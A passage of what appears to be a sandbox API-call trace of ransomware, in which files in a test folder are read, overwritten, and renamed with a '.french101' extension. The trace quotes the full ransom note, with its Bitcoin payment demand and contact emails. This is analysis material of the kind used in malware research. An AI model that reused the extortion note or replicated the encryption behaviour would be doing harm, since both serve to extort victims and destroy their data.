| out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x75a8 [0268.337] WriteFile (in: hFile=0x398, lpBuffer=0x3eab048*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3eab048*, lpNumberOfBytesWritten=0x19e7d8*=0x18, lpOverlapped=0x0) returned 1 [0268.356] WriteFile (in: hFile=0x398, lpBuffer=0x3efca08*, nNumberOfBytesToWrite=0xb2, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3efca08*, lpNumberOfBytesWritten=0x19e7d8*=0xb2, lpOverlapped=0x0) returned 1 [0268.356] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0268.356] GlobalUnlock (hMem=0x3f40004) returned 0 [0268.356] CloseHandle (hObject=0x398) returned 1 [0268.358] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd"), lpNewFileName="C:\\588bce7c90097ed212\\44fkMpst+ZFPdo5GyV03+K6xJCNrL4.french101" (normalized: "c:\\588bce7c90097ed212\\44fkmpst+zfpdo5gyv03+k6xjcnrl4.french101")) returned 1 [0268.360] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\44fkMpst+ZFPdo5GyV03+K6xJCNrL4.french101" (normalized: "c:\\588bce7c90097ed212\\44fkmpst+zfpdo5gyv03+k6xjcnrl4.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0268.360] SetFileTime (hFile=0x398, lpCreationTime=0x19e884, lpLastAccessTime=0x19e87c, lpLastWriteTime=0x19e874) returned 1 [0268.360] CloseHandle (hObject=0x398) returned 1 [0268.360] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\44fkMpst+ZFPdo5GyV03+K6xJCNrL4.french101", dwFileAttributes=0x80) returned 1 [0268.361] CloseHandle (hObject=0x398) returned 0 [0268.361] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0268.361] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0268.361] GlobalUnlock (hMem=0x3f40004) returned 0 [0268.361] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0268.361] GlobalLock (hMem=0x3f40014) returned 0x3ae4e10 [0268.361] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0268.361] GlobalUnlock (hMem=0x3f40004) returned 0 [0268.361] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40014 [0268.361] GlobalUnlock (hMem=0x3f40014) returned 0 [0268.361] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0268.361] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e8d0 | out: lpFindFileData=0x19e8d0) returned 0x6da1d0 [0268.362] FileTimeToLocalFileTime (in: lpFileTime=0x19e8e4, lpLocalFileTime=0x19e864 | out: lpLocalFileTime=0x19e864) returned 1 [0268.362] FileTimeToDosDateTime (in: lpFileTime=0x19e864, lpFatDate=0x19e8b2, lpFatTime=0x19e8b0 | out: lpFatDate=0x19e8b2, lpFatTime=0x19e8b0) returned 1 [0268.362] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0268.362] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\588bce7c90097ed212\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0268.362] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x0 [0268.362] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x87f [0268.362] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x0 [0268.362] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x0 [0268.363] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x87f [0268.363] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x0 [0268.363] ReadFile (in: hFile=0x398, lpBuffer=0x3e80e78, nNumberOfBytesToRead=0x87f, lpNumberOfBytesRead=0x19eadc, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesRead=0x19eadc*=0x87f, lpOverlapped=0x0) returned 1 [0268.363] CloseHandle (hObject=0x398) returned 1 [0268.363] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0268.363] FileTimeToLocalFileTime (in: lpFileTime=0x19ec6c, lpLocalFileTime=0x19eb78 | out: lpLocalFileTime=0x19eb78) returned 1 [0268.363] FileTimeToDosDateTime (in: lpFileTime=0x19eb78, lpFatDate=0x19ec3a, lpFatTime=0x19ec38 | out: lpFatDate=0x19ec3a, lpFatTime=0x19ec38) returned 1 [0268.363] GlobalLock (hMem=0x3f40014) returned 0x3ae2e00 [0268.363] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40014 [0268.363] GlobalUnlock (hMem=0x3f40014) returned 0 [0268.363] GlobalLock (hMem=0x3f40014) returned 0x3ae2e00 [0268.363] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0268.363] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40014 [0268.363] GlobalUnlock (hMem=0x3f40014) returned 0 [0268.364] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0268.364] GlobalUnlock (hMem=0x3f40004) returned 0 [0268.364] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0268.364] CharLowerBuffW (in: lpsz="SetupUtility.exe", cchLength=0x10 | out: lpsz="setuputility.exe") returned 0x10 [0268.364] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eë\x19", lpUsedDefaultChar=0x0) returned 1 [0268.364] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xë\x19", lpUsedDefaultChar=0x0) returned 1 [0268.364] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eë\x19", lpUsedDefaultChar=0x0) returned 1 [0268.364] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ë\x19", lpUsedDefaultChar=0x0) returned 1 [0268.364] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="y", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="yë\x19", lpUsedDefaultChar=0x0) returned 1 [0268.364] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="të\x19", lpUsedDefaultChar=0x0) returned 1 [0268.364] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ië\x19", lpUsedDefaultChar=0x0) returned 1 [0268.364] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lë\x19", lpUsedDefaultChar=0x0) returned 1 [0268.364] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ië\x19", lpUsedDefaultChar=0x0) returned 1 [0268.364] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="të\x19", lpUsedDefaultChar=0x0) returned 1 [0268.364] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uë\x19", lpUsedDefaultChar=0x0) returned 1 [0268.364] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pë\x19", lpUsedDefaultChar=0x0) returned 1 [0268.364] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uë\x19", lpUsedDefaultChar=0x0) returned 1 [0268.364] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="të\x19", lpUsedDefaultChar=0x0) returned 1 [0268.364] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eë\x19", lpUsedDefaultChar=0x0) returned 1 [0268.364] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="së\x19", lpUsedDefaultChar=0x0) returned 1 [0268.364] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13128, cbMultiByte=34, lpWideCharStr=0x19db18, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0268.365] CharLowerBuffW (in: lpsz=".exe", cchLength=0x4 | out: lpsz=".exe") returned 0x4 [0268.365] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".exe", cchWideChar=4, lpMultiByteStr=0x19db18, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".exew", lpUsedDefaultChar=0x0) returned 4 [0268.365] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0268.365] FileTimeToLocalFileTime (in: lpFileTime=0x19ec6c, lpLocalFileTime=0x19eb78 | out: lpLocalFileTime=0x19eb78) returned 1 [0268.365] FileTimeToDosDateTime (in: lpFileTime=0x19eb78, lpFatDate=0x19ec3a, lpFatTime=0x19ec38 | out: lpFatDate=0x19ec3a, lpFatTime=0x19ec38) returned 1 [0268.365] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0268.365] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0268.365] GlobalUnlock (hMem=0x3f40004) returned 0 [0268.365] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0268.365] GlobalLock (hMem=0x3f40014) returned 0x3ae4e10 [0268.365] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0268.365] GlobalUnlock (hMem=0x3f40004) returned 0 [0268.365] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40014 [0268.365] GlobalUnlock (hMem=0x3f40014) returned 0 [0268.365] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0268.365] CharLowerBuffW (in: lpsz="SplashScreen.bmp", cchLength=0x10 | out: lpsz="splashscreen.bmp") returned 0x10 [0268.365] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pë\x19", lpUsedDefaultChar=0x0) returned 1 [0268.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="më\x19", lpUsedDefaultChar=0x0) returned 1 [0268.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bë\x19", lpUsedDefaultChar=0x0) returned 1 [0268.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ë\x19", lpUsedDefaultChar=0x0) returned 1 [0268.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="në\x19", lpUsedDefaultChar=0x0) returned 1 [0268.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eë\x19", lpUsedDefaultChar=0x0) returned 1 [0268.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eë\x19", lpUsedDefaultChar=0x0) returned 1 [0268.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rë\x19", lpUsedDefaultChar=0x0) returned 1 [0268.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cë\x19", lpUsedDefaultChar=0x0) returned 1 [0268.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="së\x19", lpUsedDefaultChar=0x0) returned 1 [0268.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hë\x19", lpUsedDefaultChar=0x0) returned 1 [0268.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="së\x19", lpUsedDefaultChar=0x0) returned 1 [0268.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aë\x19", lpUsedDefaultChar=0x0) returned 1 [0268.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lë\x19", lpUsedDefaultChar=0x0) returned 1 [0268.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pë\x19", lpUsedDefaultChar=0x0) returned 1 [0268.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="së\x19", lpUsedDefaultChar=0x0) returned 1 [0268.366] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13128, cbMultiByte=34, lpWideCharStr=0x19db18, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0268.366] CharLowerBuffW (in: lpsz=".bmp", cchLength=0x4 | out: lpsz=".bmp") returned 0x4 [0268.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".bmp", cchWideChar=4, lpMultiByteStr=0x19db18, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".bmpw", lpUsedDefaultChar=0x0) returned 4 [0268.366] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp", lpFindFileData=0x19e8b8 | out: lpFindFileData=0x19e8b8) returned 0x6da350 [0268.367] FileTimeToLocalFileTime (in: lpFileTime=0x19e8cc, lpLocalFileTime=0x19e7d8 | out: lpLocalFileTime=0x19e7d8) returned 1 [0268.367] FileTimeToDosDateTime (in: lpFileTime=0x19e7d8, lpFatDate=0x19e89a, lpFatTime=0x19e898 | out: lpFatDate=0x19e89a, lpFatTime=0x19e898) returned 1 [0268.367] FindClose (in: hFindFile=0x6da350 | out: hFindFile=0x6da350) returned 1 [0268.367] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp", dwFileAttributes=0x20) returned 1 [0268.367] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0268.367] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x0 [0268.367] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0xa078 [0268.367] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x0 [0268.367] SetFilePointer (in: hFile=0x398, lDistanceToMove=41080, lpDistanceToMoveHigh=0x19e7d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7d0*=0) returned 0xa078 [0268.367] WriteFile (in: hFile=0x398, lpBuffer=0x3f31c38*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e7e4, lpOverlapped=0x0 | out: lpBuffer=0x3f31c38*, lpNumberOfBytesWritten=0x19e7e4*=0x1, lpOverlapped=0x0) returned 1 [0268.397] CloseHandle (hObject=0x398) returned 1 [0268.492] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0268.492] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x0 [0268.492] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0xa079 [0268.492] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x0 [0268.492] SetFilePointer (in: hFile=0x398, lDistanceToMove=41080, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0xa078 [0268.492] SetEndOfFile (hFile=0x398) returned 1 [0268.494] CloseHandle (hObject=0x398) returned 1 [0268.494] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0268.494] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0x0 [0268.494] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0xa078 [0268.494] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0x0 [0268.496] GlobalLock (hMem=0x3f40014) returned 0x3ae2e00 [0268.496] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x0 [0268.496] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0268.497] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0268.497] GlobalLock (hMem=0x3f4000c) returned 0x3ae6e20 [0268.497] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0268.497] GlobalUnlock (hMem=0x3f40004) returned 0 [0268.497] GlobalHandle (pMem=0x3ae6e20) returned 0x3f4000c [0268.497] GlobalUnlock (hMem=0x3f4000c) returned 0 [0268.497] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0268.497] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0268.497] GlobalUnlock (hMem=0x3f4000c) returned 0 [0268.508] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x0 [0268.508] WriteFile (in: hFile=0x398, lpBuffer=0x3eaac48*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3eaac48*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0268.508] SetFilePointer (in: hFile=0x398, lDistanceToMove=41080, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xa078 [0268.508] WriteFile (in: hFile=0x398, lpBuffer=0x3eab048*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3eab048*, lpNumberOfBytesWritten=0x19e7d8*=0x18, lpOverlapped=0x0) returned 1 [0268.508] WriteFile (in: hFile=0x398, lpBuffer=0x3e632d8*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e632d8*, lpNumberOfBytesWritten=0x19e7d8*=0xba, lpOverlapped=0x0) returned 1 [0268.508] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40014 [0268.508] GlobalUnlock (hMem=0x3f40014) returned 0 [0268.509] CloseHandle (hObject=0x398) returned 1 [0268.510] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp"), lpNewFileName="C:\\588bce7c90097ed212\\s2LSvD=NcOGoBE3gvPDoDv7TK6pxoLmJP8qtZ3nLZ2o.french101" (normalized: "c:\\588bce7c90097ed212\\s2lsvd=ncogobe3gvpdodv7tk6pxolmjp8qtz3nlz2o.french101")) returned 1 [0268.511] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\s2LSvD=NcOGoBE3gvPDoDv7TK6pxoLmJP8qtZ3nLZ2o.french101" (normalized: "c:\\588bce7c90097ed212\\s2lsvd=ncogobe3gvpdodv7tk6pxolmjp8qtz3nlz2o.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0268.511] SetFileTime (hFile=0x398, lpCreationTime=0x19e884, lpLastAccessTime=0x19e87c, lpLastWriteTime=0x19e874) returned 1 [0268.511] CloseHandle (hObject=0x398) returned 1 [0268.511] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\s2LSvD=NcOGoBE3gvPDoDv7TK6pxoLmJP8qtZ3nLZ2o.french101", dwFileAttributes=0x80) returned 1 [0268.512] CloseHandle (hObject=0x398) returned 0 [0268.512] GlobalLock (hMem=0x3f40014) returned 0x3ae2e00 [0268.512] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40014 [0268.512] GlobalUnlock (hMem=0x3f40014) returned 0 [0268.512] GlobalLock (hMem=0x3f40014) returned 0x3ae2e00 [0268.512] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0268.512] 